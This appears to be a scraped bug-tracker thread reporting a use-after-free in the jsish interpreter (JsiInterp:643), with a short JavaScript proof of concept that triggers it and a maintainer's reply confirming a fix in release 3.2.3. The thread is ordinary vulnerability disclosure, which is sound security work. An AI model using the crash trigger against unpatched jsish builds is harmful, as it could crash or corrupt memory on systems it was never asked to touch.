Use After Free in JsiInterp:643 about jsish HOT 4 CLOSED

PoC

var global = this;
(function () {
    try {
        throw function () {
            this.global = 'test';
        };
    } catch (e) {
    }
}());
this.global = 'test'; // trigger use after free

from jsish.

Great find of problem from code that was supposed to be removed a long time ago. Fixed in Release "3.2.3"

from jsish.

Great find of problem from code that was supposed to be removed a long time ago. Fixed in Release "3.2.3"

The source code I use is http://jsish.org/zip

Build Environment

Ubuntu 16.04 x86_64
wget http://jsish.org/zip -O jsi.zip && unzip jsi.zip && cd jsi && make

from jsish.

I probably wasn't clear. I meant yes you did find a problem.

But it should be fixed now, in the code I just committed today for "3.2.3".

$ jsish -v
3.2.3 3.0203 84f5b80e64d1abdcf634e27cb6b86dce8e8c87ed 2020-10-14 00:32:37 UTC
$ jsish /tmp/glob.jsi
$ cat /tmp/glob.jsi 
var global = this;
(function () {
    try {
        throw function () {
            this.global = 'test';
        };
    } catch (e) {
    }
}());
this.global = 'test'; // trigger use after free

from jsish.